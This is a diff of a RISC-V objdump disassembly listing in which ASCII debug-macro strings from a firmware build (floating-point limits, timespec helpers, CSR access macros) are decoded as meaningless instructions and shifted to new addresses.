-    967c:	465f 5845 4345      	0x43455845465f
-    9682:	48435253          	0x48435253
-    9686:	5f00                	lw	s0,56(a4)
-    9688:	4c5f 4244 5f4c      	0x5f4c42444c5f
-    968e:	4148                	lw	a0,4(a0)
-    9690:	4e495f53          	0x4e495f53
-    9694:	4946                	lw	s2,80(sp)
-    9696:	494e                	lw	s2,208(sp)
-    9698:	5954                	lw	a3,52(a0)
-    969a:	5f5f 3120 5400      	0x540031205f5f
-    96a0:	4d49                	li	s10,18
-    96a2:	5345                	li	t1,-15
-    96a4:	4550                	lw	a2,12(a0)
-    96a6:	4f545f43          	fmadd.q	ft10,fs0,fs5,fs1,unknown
-    96aa:	545f 4d49 5645      	0x56454d49545f
-    96b0:	4c41                	li	s8,16
-    96b2:	7428                	flw	fa0,104(s0)
-    96b4:	2c76                	fld	fs8,344(sp)
-    96b6:	7374                	flw	fa3,100(a4)
-    96b8:	2029                	jal	96c2 <__stack_size+0x8ec2>
-    96ba:	6f64                	flw	fs1,92(a4)
-    96bc:	7b20                	flw	fs0,112(a4)
-    96be:	2820                	fld	fs0,80(s0)
-    96c0:	7674                	flw	fa3,108(a2)
-    96c2:	2d29                	jal	9cdc <__stack_size+0x94dc>
-    96c4:	743e                	flw	fs0,236(sp)
-    96c6:	5f76                	lw	t5,124(sp)
-    96c8:	20636573          	csrrsi	a0,0x206,6
-    96cc:	203d                	jal	96fa <__stack_size+0x8efa>
-    96ce:	7428                	flw	fa0,104(s0)
-    96d0:	3e2d2973          	csrrs	s2,0x3e2,s10
-    96d4:	7674                	flw	fa3,108(a2)
-    96d6:	735f 6365 203b      	0x203b6365735f
-    96dc:	7428                	flw	fa0,104(s0)
-    96de:	2976                	fld	fs2,344(sp)
-    96e0:	3e2d                	jal	921a <__stack_size+0x8a1a>
-    96e2:	7674                	flw	fa3,108(a2)
-    96e4:	755f 6573 2063      	0x20636573755f
-    96ea:	203d                	jal	9718 <__stack_size+0x8f18>
-    96ec:	7428                	flw	fa0,104(s0)
-    96ee:	3e2d2973          	csrrs	s2,0x3e2,s10
-    96f2:	7674                	flw	fa3,108(a2)
-    96f4:	6e5f 6573 2063      	0x206365736e5f
-    96fa:	3031202f          	0x3031202f
-    96fe:	3030                	fld	fa2,96(s0)
-    9700:	207d203b          	0x207d203b
-    9704:	6c696877          	0x6c696877
-    9708:	2065                	jal	97b0 <__stack_size+0x8fb0>
-    970a:	3028                	fld	fa0,96(s0)
-    970c:	0029                	c.nop	10
-    970e:	505f 5f43 414d      	0x414d5f43505f
-    9714:	5f58                	lw	a4,60(a4)
-    9716:	4f4e4143          	fmadd.q	ft2,ft8,fs4,fs1,rmm
-    971a:	204e                	fld	ft0,208(sp)
-    971c:	0031                	c.nop	12
-    971e:	465f 4553 4b45      	0x4b454553465f
-    9724:	4f5f 5450 4d49      	0x4d4954504f5f
-    972a:	5a49                	li	s4,-14
-    972c:	5441                	li	s0,-16
-    972e:	4f49                	li	t5,18
-    9730:	204e                	fld	ft0,208(sp)
-    9732:	0031                	c.nop	12
-    9734:	495f 464f 4642      	0x4642464f495f
-    973a:	3020                	fld	fs0,96(s0)
-    973c:	5f00                	lw	s0,56(a4)
-    973e:	4954                	lw	a3,20(a0)
-    9740:	454d                	li	a0,19
-    9742:	545f 205f 5f5f      	0x5f5f205f545f
-    9748:	6e69                	lui	t3,0x1a
-    974a:	5f74                	lw	a3,124(a4)
-    974c:	656c                	flw	fa1,76(a0)
-    974e:	7361                	lui	t1,0xffff8
-    9750:	3674                	fld	fa3,232(a2)
-    9752:	5f34                	lw	a3,120(a4)
-    9754:	0074                	addi	a3,sp,12
-    9756:	5f5f 4c46 5f54      	0x5f544c465f5f
-    975c:	4f4e                	lw	t5,208(sp)
-    975e:	4d52                	lw	s10,20(sp)
-    9760:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    9766:	3320                	fld	fs0,96(a4)
-    9768:	342e                	fld	fs0,232(sp)
-    976a:	3230                	fld	fa2,96(a2)
-    976c:	3238                	fld	fa4,96(a2)
-    976e:	36363433          	0x36363433
-    9772:	32353833          	0x32353833
-    9776:	3838                	fld	fa4,112(s0)
-    9778:	3935                	jal	93b4 <__stack_size+0x8bb4>
-    977a:	3138                	fld	fa4,96(a0)
-    977c:	3731                	jal	9688 <__stack_size+0x8e88>
-    977e:	3430                	fld	fa2,104(s0)
-    9780:	3831                	jal	8f9c <__stack_size+0x879c>
-    9782:	34383433          	0x34383433
-    9786:	3135                	jal	93b2 <__stack_size+0x8bb2>
-    9788:	3936                	fld	fs2,360(sp)
-    978a:	3532                	fld	fa0,296(sp)
-    978c:	2b65                	jal	9d44 <__stack_size+0x9544>
-    978e:	00463833          	sltu	a6,a2,tp
-    9792:	535f 5359 555f      	0x555f5359535f
-    9798:	494e                	lw	s2,208(sp)
-    979a:	5f445453          	0x5f445453
-    979e:	2048                	fld	fa0,128(s0)
-    97a0:	5f00                	lw	s0,56(a4)
-    97a2:	6e5f 6565 5f64      	0x5f6465656e5f
-    97a8:	5f5f 6176 6c5f      	0x6c5f61765f5f
-    97ae:	7369                	lui	t1,0xffffa
-    97b0:	2074                	fld	fa3,192(s0)
-    97b2:	5f00                	lw	s0,56(a4)
-    97b4:	415f4353          	0x415f4353
-    97b8:	4554                	lw	a3,12(a0)
-    97ba:	4958                	lw	a4,20(a0)
-    97bc:	5f54                	lw	a3,60(a4)
-    97be:	414d                	li	sp,19
-    97c0:	2058                	fld	fa4,128(s0)
-    97c2:	3535                	jal	95ee <__stack_size+0x8dee>
-    97c4:	5f00                	lw	s0,56(a4)
-    97c6:	535f 4c4e 204b      	0x204b4c4e535f
-    97cc:	7830                	flw	fa2,112(s0)
-    97ce:	3030                	fld	fa2,96(s0)
-    97d0:	3130                	fld	fa2,96(a0)
-    97d2:	5f00                	lw	s0,56(a4)
-    97d4:	535f 5a49 4f45      	0x4f455a49535f
-    97da:	5f46                	lw	t5,112(sp)
-    97dc:	4f4c                	lw	a1,28(a4)
-    97de:	474e                	lw	a4,208(sp)
-    97e0:	445f 554f 4c42      	0x4c42554f445f
-    97e6:	5f45                	li	t5,-15
-    97e8:	205f 3631 5f00      	0x5f003631205f
-    97ee:	4546                	lw	a0,80(sp)
-    97f0:	4c58                	lw	a4,28(s0)
-    97f2:	204b434f          	fnmadd.s	ft6,fs6,ft4,ft4,rmm
-    97f6:	7830                	flw	fa2,112(s0)
-    97f8:	3130                	fld	fa2,96(a0)
-    97fa:	3030                	fld	fa2,96(s0)
-    97fc:	5f00                	lw	s0,56(a4)
-    97fe:	325f4353          	0x325f4353
-    9802:	505f 5342 3120      	0x31205342505f
-    9808:	3331                	jal	9514 <__stack_size+0x8d14>
-    980a:	5f00                	lw	s0,56(a4)
-    980c:	4350                	lw	a2,4(a4)
-    980e:	4e5f 4d41 5f45      	0x5f454d414e5f
-    9814:	414d                	li	sp,19
-    9816:	2058                	fld	fa4,128(s0)
-    9818:	5a4d0033          	0x5a4d0033
-    981c:	5f454e4f          	fnmadd.q	ft8,fa0,fs4,fa1,rmm
-    9820:	4452                	lw	s0,20(sp)
-    9822:	4954                	lw	a3,20(a0)
-    9824:	454d                	li	a0,19
-    9826:	28504d43          	fmadd.s	fs10,ft0,ft5,ft5,rmm
-    982a:	2029                	jal	9834 <__stack_size+0x9034>
-    982c:	7b28                	flw	fa0,112(a4)
-    982e:	7220                	flw	fs0,96(a2)
-    9830:	6765                	lui	a4,0x19
-    9832:	7369                	lui	t1,0xffffa
-    9834:	6574                	flw	fa3,76(a0)
-    9836:	2072                	fld	ft0,280(sp)
-    9838:	6975                	lui	s2,0x1d
-    983a:	746e                	flw	fs0,248(sp)
-    983c:	745f3233          	0x745f3233
-    9840:	6120                	flw	fs0,64(a0)
-    9842:	2030                	fld	fa2,64(s0)
-    9844:	7361                	lui	t1,0xffff8
-    9846:	206d                	jal	98f0 <__stack_size+0x90f0>
-    9848:	2228                	fld	fa0,64(a2)
-    984a:	3061                	jal	90d2 <__stack_size+0x88d2>
-    984c:	2922                	fld	fs2,8(sp)
-    984e:	202c                	fld	fa1,64(s0)
-    9850:	3161                	jal	94d8 <__stack_size+0x8cd8>
-    9852:	6120                	flw	fs0,64(a0)
-    9854:	28206d73          	csrrsi	s10,0x282,0
-    9858:	6122                	flw	ft2,8(sp)
-    985a:	2231                	jal	9966 <__stack_size+0x9166>
-    985c:	3b29                	jal	9576 <__stack_size+0x8d76>
-    985e:	6120                	flw	fs0,64(a0)
-    9860:	76206d73          	csrrsi	s10,0x762,0
-    9864:	74616c6f          	jal	s8,1ffaa <__stack_size+0x1f7aa>
-    9868:	6c69                	lui	s8,0x1a
-    986a:	2065                	jal	9912 <__stack_size+0x9112>
-    986c:	2228                	fld	fa0,64(a2)
-    986e:	696c                	flw	fa1,84(a0)
-    9870:	6120                	flw	fs0,64(a0)
-    9872:	2c30                	fld	fa2,88(s0)
-    9874:	3520                	fld	fs0,104(a0)
-    9876:	6d20223b          	0x6d20223b
-    987a:	6f7a                	flw	ft10,156(sp)
-    987c:	656e                	flw	fa0,216(sp)
-    987e:	3a20                	fld	fs0,112(a2)
-    9880:	2220                	fld	fs0,64(a2)
-    9882:	723d                	lui	tp,0xfffef
-    9884:	2822                	fld	fa6,8(sp)
-    9886:	3061                	jal	910e <__stack_size+0x890e>
-    9888:	2c29                	jal	9aa2 <__stack_size+0x92a2>
-    988a:	2220                	fld	fs0,64(a2)
-    988c:	723d                	lui	tp,0xfffef
-    988e:	2822                	fld	fa6,8(sp)
-    9890:	3161                	jal	9518 <__stack_size+0x8d18>
-    9892:	2929                	jal	9cac <__stack_size+0x94ac>
-    9894:	7528203b          	0x7528203b
-    9898:	6e69                	lui	t3,0x1a
-    989a:	3674                	fld	fa3,232(a2)
-    989c:	5f34                	lw	a3,120(a4)
-    989e:	2974                	fld	fa3,208(a0)
-    98a0:	3161                	jal	9528 <__stack_size+0x8d28>
-    98a2:	3c3c                	fld	fa5,120(s0)
-    98a4:	7c203233          	0x7c203233
-    98a8:	6120                	flw	fs0,64(a0)
-    98aa:	3b30                	fld	fa2,112(a4)
-    98ac:	7d20                	flw	fs0,120(a0)
-    98ae:	0029                	c.nop	10
-    98b0:	5f5f 4c46 3154      	0x31544c465f5f
-    98b6:	3832                	fld	fa6,296(sp)
-    98b8:	445f 4345 4d49      	0x4d494345445f
-    98be:	4c41                	li	s8,16
-    98c0:	445f 4749 5f5f      	0x5f5f4749445f
-    98c6:	3320                	fld	fs0,96(a4)
-    98c8:	0036                	c.slli	zero,0xd
-    98ca:	5f5f 4c46 5f54      	0x5f544c465f5f
-    98d0:	4148                	lw	a0,4(a0)
-    98d2:	45445f53          	0x45445f53
-    98d6:	4f4e                	lw	t5,208(sp)
-    98d8:	4d52                	lw	s10,20(sp)
-    98da:	5f5f 3120 5f00      	0x5f0031205f5f
-    98e0:	475f 554e 4c43      	0x4c43554e475f
-    98e6:	4b49                	li	s6,18
-    98e8:	5f45                	li	t5,-15
-    98ea:	414d                	li	sp,19
-    98ec:	4854                	lw	a3,20(s0)
-    98ee:	425f 4955 544c      	0x544c4955425f
-    98f4:	4e49                	li	t3,18
-    98f6:	435f 4e4f 5453      	0x54534e4f435f
-    98fc:	4e41                	li	t3,16
-    98fe:	5354                	lw	a3,36(a4)
-    9900:	0020                	addi	s0,sp,8
-    9902:	4955                	li	s2,21
-    9904:	544e                	lw	s0,240(sp)
-    9906:	4c5f 4145 5453      	0x545341454c5f
-    990c:	5f38                	lw	a4,120(a4)
-    990e:	414d                	li	sp,19
-    9910:	0058                	addi	a4,sp,4
-    9912:	535f 5f43 5241      	0x52415f43535f
-    9918:	414d5f47          	fmsub.s	ft10,fs10,fs4,fs0,unknown
-    991c:	2058                	fld	fa4,128(s0)
-    991e:	0030                	addi	a2,sp,8
-    9920:	4e494c43          	fmadd.q	fs8,fs2,ft4,fs1,rmm
-    9924:	5f54                	lw	a3,60(a4)
-    9926:	534d                	li	t1,-13
-    9928:	5049                	c.li	zero,-14
-    992a:	3020                	fld	fs0,96(s0)
-    992c:	3078                	fld	fa4,224(s0)
-    992e:	3030                	fld	fa2,96(s0)
-    9930:	0030                	addi	a2,sp,8
-    9932:	61656c63          	bltu	a0,s6,9f4a <__stack_size+0x974a>
-    9936:	6572                	flw	fa0,28(sp)
-    9938:	7272                	flw	ft4,60(sp)
-    993a:	7028                	flw	fa0,96(s0)
-    993c:	2029                	jal	9946 <__stack_size+0x9146>
-    993e:	5f5f 6373 656c      	0x656c63735f5f
-    9944:	7261                	lui	tp,0xffff8
-    9946:	7265                	lui	tp,0xffff9
-    9948:	2872                	fld	fa6,280(sp)
-    994a:	2970                	fld	fa2,208(a0)
-    994c:	7300                	flw	fs0,32(a4)
-    994e:	7274                	flw	fa3,100(a2)
-    9950:	6f74                	flw	fa3,92(a4)
-    9952:	6c75                	lui	s8,0x1d
-    9954:	006c                	addi	a1,sp,12
-    9956:	475f 4343 4d5f      	0x4d5f4343475f
-    995c:	5841                	li	a6,-16
-    995e:	415f 494c 4e47      	0x4e47494c415f
-    9964:	545f 0020 5f5f      	0x5f5f0020545f
-    996a:	4c46                	lw	s8,80(sp)
-    996c:	3654                	fld	fa3,168(a2)
-    996e:	5f34                	lw	a3,120(a4)
-    9970:	4148                	lw	a0,4(a0)
-    9972:	45445f53          	0x45445f53
-    9976:	4f4e                	lw	t5,208(sp)
-    9978:	4d52                	lw	s10,20(sp)
-    997a:	5f5f 3120 4900      	0x490031205f5f
-    9980:	544e                	lw	s0,240(sp)
-    9982:	465f 5341 3854      	0x38545341465f
-    9988:	4d5f 4e49 2820      	0x28204e494d5f
-    998e:	492d                	li	s2,11
-    9990:	544e                	lw	s0,240(sp)
-    9992:	465f 5341 3854      	0x38545341465f
-    9998:	4d5f 5841 2d20      	0x2d2058414d5f
-    999e:	3120                	fld	fs0,96(a0)
-    99a0:	0029                	c.nop	10
-    99a2:	4e49                	li	t3,18
-    99a4:	3854                	fld	fa3,176(s0)
-    99a6:	4d5f 4e49 5300      	0x53004e494d5f
-    99ac:	495f 5246 4745      	0x47455246495f
-    99b2:	5f20                	lw	s0,120(a4)
-    99b4:	4649                	li	a2,18
-    99b6:	4552                	lw	a0,20(sp)
-    99b8:	535f0047          	fmsub.d	ft0,ft10,fs5,fa0,rne
-    99bc:	5f325f43          	fmadd.q	ft10,ft4,fs3,fa1,unknown
-    99c0:	4250                	lw	a2,4(a2)
-    99c2:	454d5f53          	0x454d5f53
-    99c6:	47415353          	0x47415353
-    99ca:	2045                	jal	9a6a <__stack_size+0x926a>
-    99cc:	3131                	jal	95d8 <__stack_size+0x8dd8>
-    99ce:	5f5f0037          	lui	zero,0x5f5f0
-    99d2:	455a4953          	0x455a4953
-    99d6:	465f464f          	fnmadd.q	fa2,ft10,ft5,fs0,rmm
-    99da:	4f4c                	lw	a1,28(a4)
-    99dc:	5441                	li	s0,-16
-    99de:	5f5f 3420 6d00      	0x6d0034205f5f
-    99e4:	6961                	lui	s2,0x18
-    99e6:	006e                	c.slli	zero,0x1b
-    99e8:	5f5f 4953 455a      	0x455a49535f5f
-    99ee:	545f 5f5f 0020      	0x205f5f545f
-    99f4:	5f5f 4953 455a      	0x455a49535f5f
-    99fa:	545f 5059 5f45      	0x5f455059545f
-    9a00:	205f 6e75 6973      	0x69736e75205f
-    9a06:	64656e67          	0x64656e67
-    9a0a:	6920                	flw	fs0,80(a0)
-    9a0c:	746e                	flw	fs0,248(sp)
-    9a0e:	5300                	lw	s0,32(a4)
-    9a10:	495f 5257 5449      	0x54495257495f
-    9a16:	2045                	jal	9ab6 <__stack_size+0x92b6>
-    9a18:	3030                	fld	fa2,96(s0)
-    9a1a:	3030                	fld	fa2,96(s0)
-    9a1c:	3032                	fld	ft0,296(sp)
-    9a1e:	0030                	addi	a2,sp,8
-    9a20:	5f5f 666f 7366      	0x7366666f5f5f
-    9a26:	7465                	lui	s0,0xffff9
-    9a28:	7428666f          	jal	a2,9016a <__stack_size+0x8f96a>
-    9a2c:	7079                	c.lui	zero,0xffffe
-    9a2e:	2c65                	jal	9ce6 <__stack_size+0x94e6>
-    9a30:	6966                	flw	fs2,88(sp)
-    9a32:	6c65                	lui	s8,0x19
-    9a34:	2964                	fld	fs1,208(a0)
-    9a36:	6f20                	flw	fs0,88(a4)
-    9a38:	6666                	flw	fa2,88(sp)
-    9a3a:	6f746573          	csrrsi	a0,0x6f7,8
-    9a3e:	2866                	fld	fa6,88(sp)
-    9a40:	7974                	flw	fa3,116(a0)
-    9a42:	6570                	flw	fa2,76(a0)
-    9a44:	202c                	fld	fa1,64(s0)
-    9a46:	6966                	flw	fs2,88(sp)
-    9a48:	6c65                	lui	s8,0x19
-    9a4a:	2964                	fld	fs1,208(a0)
-    9a4c:	5f00                	lw	s0,56(a4)
-    9a4e:	4c5f 4244 5f4c      	0x5f4c42444c5f
-    9a54:	414d                	li	sp,19
-    9a56:	544e                	lw	s0,240(sp)
-    9a58:	445f 4749 5f5f      	0x5f5f4749445f
-    9a5e:	3120                	fld	fs0,96(a0)
-    9a60:	3331                	jal	976c <__stack_size+0x8f6c>
-    9a62:	5f00                	lw	s0,56(a4)
-    9a64:	465f 5342 4944      	0x49445342465f
-    9a6a:	2844                	fld	fs1,144(s0)
-    9a6c:	73202973          	csrr	s2,0x732
-    9a70:	7274                	flw	fa3,100(a2)
-    9a72:	6375                	lui	t1,0x1d
-    9a74:	2074                	fld	fa3,192(s0)
-    9a76:	5f5f 6168 6b63      	0x6b6361685f5f
-    9a7c:	5f00                	lw	s0,56(a4)
-    9a7e:	555f 4e49 5f54      	0x5f544e49555f
-    9a84:	454c                	lw	a1,12(a0)
-    9a86:	5341                	li	t1,-16
-    9a88:	3854                	fld	fa3,176(s0)
-    9a8a:	545f 5059 5f45      	0x5f455059545f
-    9a90:	205f 6e75 6973      	0x69736e75205f
-    9a96:	64656e67          	0x64656e67
-    9a9a:	6320                	flw	fs0,64(a4)
-    9a9c:	6168                	flw	fa0,68(a0)
-    9a9e:	0072                	c.slli	zero,0x1c
-    9aa0:	525f 4e41 3444      	0x34444e41525f
-    9aa6:	5f38                	lw	a4,120(a4)
-    9aa8:	44454553          	0x44454553
-    9aac:	315f 2820 7830      	0x78302820315f
-    9ab2:	6261                	lui	tp,0x18
-    9ab4:	00296463          	bltu	s2,sp,9abc <__stack_size+0x92bc>
-    9ab8:	484d                	li	a6,19
-    9aba:	205a                	fld	ft0,400(sp)
-    9abc:	4328                	lw	a0,64(a4)
-    9abe:	5550                	lw	a2,44(a0)
-    9ac0:	465f 4552 2f51      	0x2f514552465f
-    9ac6:	3031                	jal	92d2 <__stack_size+0x8ad2>
+    95fc:	5f5f 4c46 5f54      	0x5f544c465f5f
+    9602:	4544                	lw	s1,12(a0)
+    9604:	4f4e                	lw	t5,208(sp)
+    9606:	4d52                	lw	s10,20(sp)
+    9608:	4d5f 4e49 5f5f      	0x5f5f4e494d5f
+    960e:	3120                	fld	fs0,96(a0)
+    9610:	342e                	fld	fs0,232(sp)
+    9612:	3130                	fld	fa2,96(a0)
+    9614:	3932                	fld	fs2,296(sp)
+    9616:	3438                	fld	fa4,104(s0)
+    9618:	3436                	fld	fs0,360(sp)
+    961a:	38343233          	0x38343233
+    961e:	3731                	jal	952a <__stack_size+0x8d2a>
+    9620:	3730                	fld	fa2,104(a4)
+    9622:	3930                	fld	fa2,112(a0)
+    9624:	3332                	fld	ft6,296(sp)
+    9626:	35393237          	lui	tp,0x35393
+    962a:	3338                	fld	fa4,96(a4)
+    962c:	3832                	fld	fa6,296(sp)
+    962e:	3939                	jal	924c <__stack_size+0x8a4c>
+    9630:	3631                	jal	913c <__stack_size+0x893c>
+    9632:	3331                	jal	933e <__stack_size+0x8b3e>
+    9634:	2d65                	jal	9cec <__stack_size+0x94ec>
+    9636:	3534                	fld	fa3,104(a0)
+    9638:	0046                	c.slli	zero,0x11
+    963a:	5f5f 444c 4c42      	0x4c42444c5f5f
+    9640:	455f 5350 4c49      	0x4c495350455f
+    9646:	5f5f4e4f          	fnmadd.q	ft8,ft10,fs5,fa1,rmm
+    964a:	3120                	fld	fs0,96(a0)
+    964c:	392e                	fld	fs2,232(sp)
+    964e:	3532                	fld	fa0,296(sp)
+    9650:	3239                	jal	8f5e <__stack_size+0x875e>
+    9652:	3939                	jal	9270 <__stack_size+0x8a70>
+    9654:	3434                	fld	fa3,104(s0)
+    9656:	32373833          	0x32373833
+    965a:	35383533          	0x35383533
+    965e:	35353033          	0x35353033
+    9662:	3739                	jal	9570 <__stack_size+0x8d70>
+    9664:	32343937          	lui	s2,0x32343
+    9668:	3835                	jal	8ea4 <__stack_size+0x86a4>
+    966a:	3934                	fld	fa3,112(a0)
+    966c:	3732                	fld	fa4,296(sp)
+    966e:	2d653233          	0x2d653233
+    9672:	004c3433          	sltu	s0,s8,tp
+    9676:	5f474953          	0x5f474953
+    967a:	5441                	li	s0,-16
+    967c:	43494d4f          	fnmadd.d	fs10,fs2,fs4,fs0,rmm
+    9680:	4d5f 5841 7300      	0x730058414d5f
+    9686:	5f74                	lw	a3,124(a4)
+    9688:	746d                	lui	s0,0xffffb
+    968a:	6d69                	lui	s10,0x1a
+    968c:	2065                	jal	9734 <__stack_size+0x8f34>
+    968e:	6d5f7473          	csrrci	s0,0x6d5,30
+    9692:	6974                	flw	fa3,84(a0)
+    9694:	2e6d                	jal	9a4e <__stack_size+0x924e>
+    9696:	7674                	flw	fa3,108(a2)
+    9698:	735f 6365 5f00      	0x5f006365735f
+    969e:	725f 7369 7663      	0x76637369725f
+    96a4:	6d5f 6c75 3120      	0x31206c756d5f
+    96aa:	5f00                	lw	s0,56(a4)
+    96ac:	625f 7773 7061      	0x70617773625f
+    96b2:	3631                	jal	91be <__stack_size+0x89be>
+    96b4:	5f28                	lw	a0,120(a4)
+    96b6:	2978                	fld	fa4,208(a0)
+    96b8:	5f20                	lw	s0,120(a4)
+    96ba:	625f 6975 746c      	0x746c6975625f
+    96c0:	6e69                	lui	t3,0x1a
+    96c2:	625f 7773 7061      	0x70617773625f
+    96c8:	3631                	jal	91d4 <__stack_size+0x89d4>
+    96ca:	5f28                	lw	a0,120(a4)
+    96cc:	2978                	fld	fa4,208(a0)
+    96ce:	5700                	lw	s0,40(a4)
+    96d0:	4e49                	li	t3,18
+    96d2:	5f54                	lw	a3,60(a4)
+    96d4:	414d                	li	sp,19
+    96d6:	0058                	addi	a4,sp,4
+    96d8:	465f 4944 4552      	0x45524944465f
+    96de:	30205443          	fmadd.s	fs0,ft0,ft2,ft6,unknown
+    96e2:	3878                	fld	fa4,240(s0)
+    96e4:	3030                	fld	fa2,96(s0)
+    96e6:	3030                	fld	fa2,96(s0)
+    96e8:	5300                	lw	s0,32(a4)
+    96ea:	52414843          	fmadd.d	fa6,ft2,ft4,fa0,rmm
+    96ee:	4d5f 4e49 2820      	0x28204e494d5f
+    96f4:	532d                	li	t1,-21
+    96f6:	52414843          	fmadd.d	fa6,ft2,ft4,fa0,rmm
+    96fa:	4d5f 5841 2d20      	0x2d2058414d5f
+    9700:	3120                	fld	fs0,96(a0)
+    9702:	0029                	c.nop	10
+    9704:	5f5f 4544 5f43      	0x5f4345445f5f
+    970a:	5645                	li	a2,-15
+    970c:	4c41                	li	s8,16
+    970e:	4d5f 5445 4f48      	0x4f4854454d5f
+    9714:	5f44                	lw	s1,60(a4)
+    9716:	205f 0032 5355      	0x53550032205f
+    971c:	5248                	lw	a0,36(a2)
+    971e:	5f54                	lw	a3,60(a4)
+    9720:	414d                	li	sp,19
+    9722:	0058                	addi	a4,sp,4
+    9724:	58455f4f          	fnmadd.s	ft10,fa0,ft4,fa1,unknown
+    9728:	4345                	li	t1,17
+    972a:	5f20                	lw	s0,120(a4)
+    972c:	4546                	lw	a0,80(sp)
+    972e:	4558                	lw	a4,12(a0)
+    9730:	43525343          	fmadd.d	ft6,ft4,fs5,fs0,unknown
+    9734:	0048                	addi	a0,sp,4
+    9736:	5f5f 444c 4c42      	0x4c42444c5f5f
+    973c:	485f 5341 495f      	0x495f5341485f
+    9742:	464e                	lw	a2,208(sp)
+    9744:	4e49                	li	t3,18
+    9746:	5449                	li	s0,-14
+    9748:	5f59                	li	t5,-10
+    974a:	205f 0031 4954      	0x49540031205f
+    9750:	454d                	li	a0,19
+    9752:	43455053          	0x43455053
+    9756:	545f 5f4f 4954      	0x49545f4f545f
+    975c:	454d                	li	a0,19
+    975e:	4156                	lw	sp,84(sp)
+    9760:	284c                	fld	fa1,144(s0)
+    9762:	7674                	flw	fa3,108(a2)
+    9764:	742c                	flw	fa1,104(s0)
+    9766:	64202973          	csrr	s2,0x642
+    976a:	207b206f          	j	bc170 <__stack_size+0xbb970>
+    976e:	7428                	flw	fa0,104(s0)
+    9770:	2976                	fld	fs2,344(sp)
+    9772:	3e2d                	jal	92ac <__stack_size+0x8aac>
+    9774:	7674                	flw	fa3,108(a2)
+    9776:	735f 6365 3d20      	0x3d206365735f
+    977c:	2820                	fld	fs0,80(s0)
+    977e:	7374                	flw	fa3,100(a4)
+    9780:	2d29                	jal	9d9a <__stack_size+0x959a>
+    9782:	743e                	flw	fs0,236(sp)
+    9784:	5f76                	lw	t5,124(sp)
+    9786:	3b636573          	csrrsi	a0,pmpaddr6,6
+    978a:	2820                	fld	fs0,80(s0)
+    978c:	7674                	flw	fa3,108(a2)
+    978e:	2d29                	jal	9da8 <__stack_size+0x95a8>
+    9790:	743e                	flw	fs0,236(sp)
+    9792:	5f76                	lw	t5,124(sp)
+    9794:	7375                	lui	t1,0xffffd
+    9796:	6365                	lui	t1,0x19
+    9798:	3d20                	fld	fs0,120(a0)
+    979a:	2820                	fld	fs0,80(s0)
+    979c:	7374                	flw	fa3,100(a4)
+    979e:	2d29                	jal	9db8 <__stack_size+0x95b8>
+    97a0:	743e                	flw	fs0,236(sp)
+    97a2:	5f76                	lw	t5,124(sp)
+    97a4:	736e                	flw	ft6,248(sp)
+    97a6:	6365                	lui	t1,0x19
+    97a8:	2f20                	fld	fs0,88(a4)
+    97aa:	3120                	fld	fs0,96(a0)
+    97ac:	3030                	fld	fa2,96(s0)
+    97ae:	3b30                	fld	fa2,112(a4)
+    97b0:	7d20                	flw	fs0,120(a0)
+    97b2:	7720                	flw	fs0,104(a4)
+    97b4:	6968                	flw	fa0,84(a0)
+    97b6:	656c                	flw	fa1,76(a0)
+    97b8:	2820                	fld	fs0,80(s0)
+    97ba:	2930                	fld	fa2,80(a0)
+    97bc:	5f00                	lw	s0,56(a4)
+    97be:	4350                	lw	a2,4(a4)
+    97c0:	4d5f 5841 435f      	0x435f58414d5f
+    97c6:	4e41                	li	t3,16
+    97c8:	31204e4f          	fnmadd.s	ft8,ft0,fs2,ft6,rmm
+    97cc:	5f00                	lw	s0,56(a4)
+    97ce:	5346                	lw	t1,112(sp)
+    97d0:	4545                	li	a0,17
+    97d2:	504f5f4b          	fnmsub.s	ft10,ft10,ft4,fa0,unknown
+    97d6:	4954                	lw	a3,20(a0)
+    97d8:	494d                	li	s2,19
+    97da:	415a                	lw	sp,148(sp)
+    97dc:	4954                	lw	a3,20(a0)
+    97de:	31204e4f          	fnmadd.s	ft8,ft0,fs2,ft6,rmm
+    97e2:	5f00                	lw	s0,56(a4)
+    97e4:	4f49                	li	t5,18
+    97e6:	4246                	lw	tp,80(sp)
+    97e8:	2046                	fld	ft0,80(sp)
+    97ea:	0030                	addi	a2,sp,8
+    97ec:	545f 4d49 5f45      	0x5f454d49545f
+    97f2:	5f54                	lw	a3,60(a4)
+    97f4:	5f20                	lw	s0,120(a4)
+    97f6:	695f 746e 6c5f      	0x6c5f746e695f
+    97fc:	6165                	addi	sp,sp,112
+    97fe:	34367473          	csrrci	s0,mtval,12
+    9802:	745f 5f00 465f      	0x465f5f00745f
+    9808:	544c                	lw	a1,44(s0)
+    980a:	4e5f 524f 5f4d      	0x5f4d524f4e5f
+    9810:	414d                	li	sp,19
+    9812:	5f58                	lw	a4,60(a4)
+    9814:	205f 2e33 3034      	0x30342e33205f
+    981a:	3832                	fld	fa6,296(sp)
+    981c:	3332                	fld	ft6,296(sp)
+    981e:	3634                	fld	fa3,104(a2)
+    9820:	3336                	fld	ft6,360(sp)
+    9822:	3538                	fld	fa4,104(a0)
+    9824:	3832                	fld	fa6,296(sp)
+    9826:	3538                	fld	fa4,104(a0)
+    9828:	3839                	jal	9046 <__stack_size+0x8846>
+    982a:	3131                	jal	9436 <__stack_size+0x8c36>
+    982c:	31343037          	lui	zero,0x31343
+    9830:	3338                	fld	fa4,96(a4)
+    9832:	3834                	fld	fa3,112(s0)
+    9834:	3534                	fld	fa3,104(a0)
+    9836:	3631                	jal	9342 <__stack_size+0x8b42>
+    9838:	3239                	jal	9146 <__stack_size+0x8946>
+    983a:	6535                	lui	a0,0xd
+    983c:	4638332b          	0x4638332b
+    9840:	5f00                	lw	s0,56(a4)
+    9842:	5f535953          	0x5f535953
+    9846:	4e55                	li	t3,21
+    9848:	5349                	li	t1,-14
+    984a:	4454                	lw	a3,12(s0)
+    984c:	485f 0020 5f5f      	0x5f5f0020485f
+    9852:	656e                	flw	fa0,216(sp)
+    9854:	6465                	lui	s0,0x19
+    9856:	5f5f 765f 5f61      	0x5f61765f5f5f
+    985c:	696c                	flw	fa1,84(a0)
+    985e:	00207473          	csrrci	s0,frm,0
+    9862:	535f 5f43 5441      	0x54415f43535f
+    9868:	5845                	li	a6,-15
+    986a:	5449                	li	s0,-14
+    986c:	4d5f 5841 3520      	0x352058414d5f
+    9872:	0035                	c.nop	13
+    9874:	5f5f 4e53 4b4c      	0x4b4c4e535f5f
+    987a:	3020                	fld	fs0,96(s0)
+    987c:	3078                	fld	fa4,224(s0)
+    987e:	3030                	fld	fa2,96(s0)
+    9880:	0031                	c.nop	12
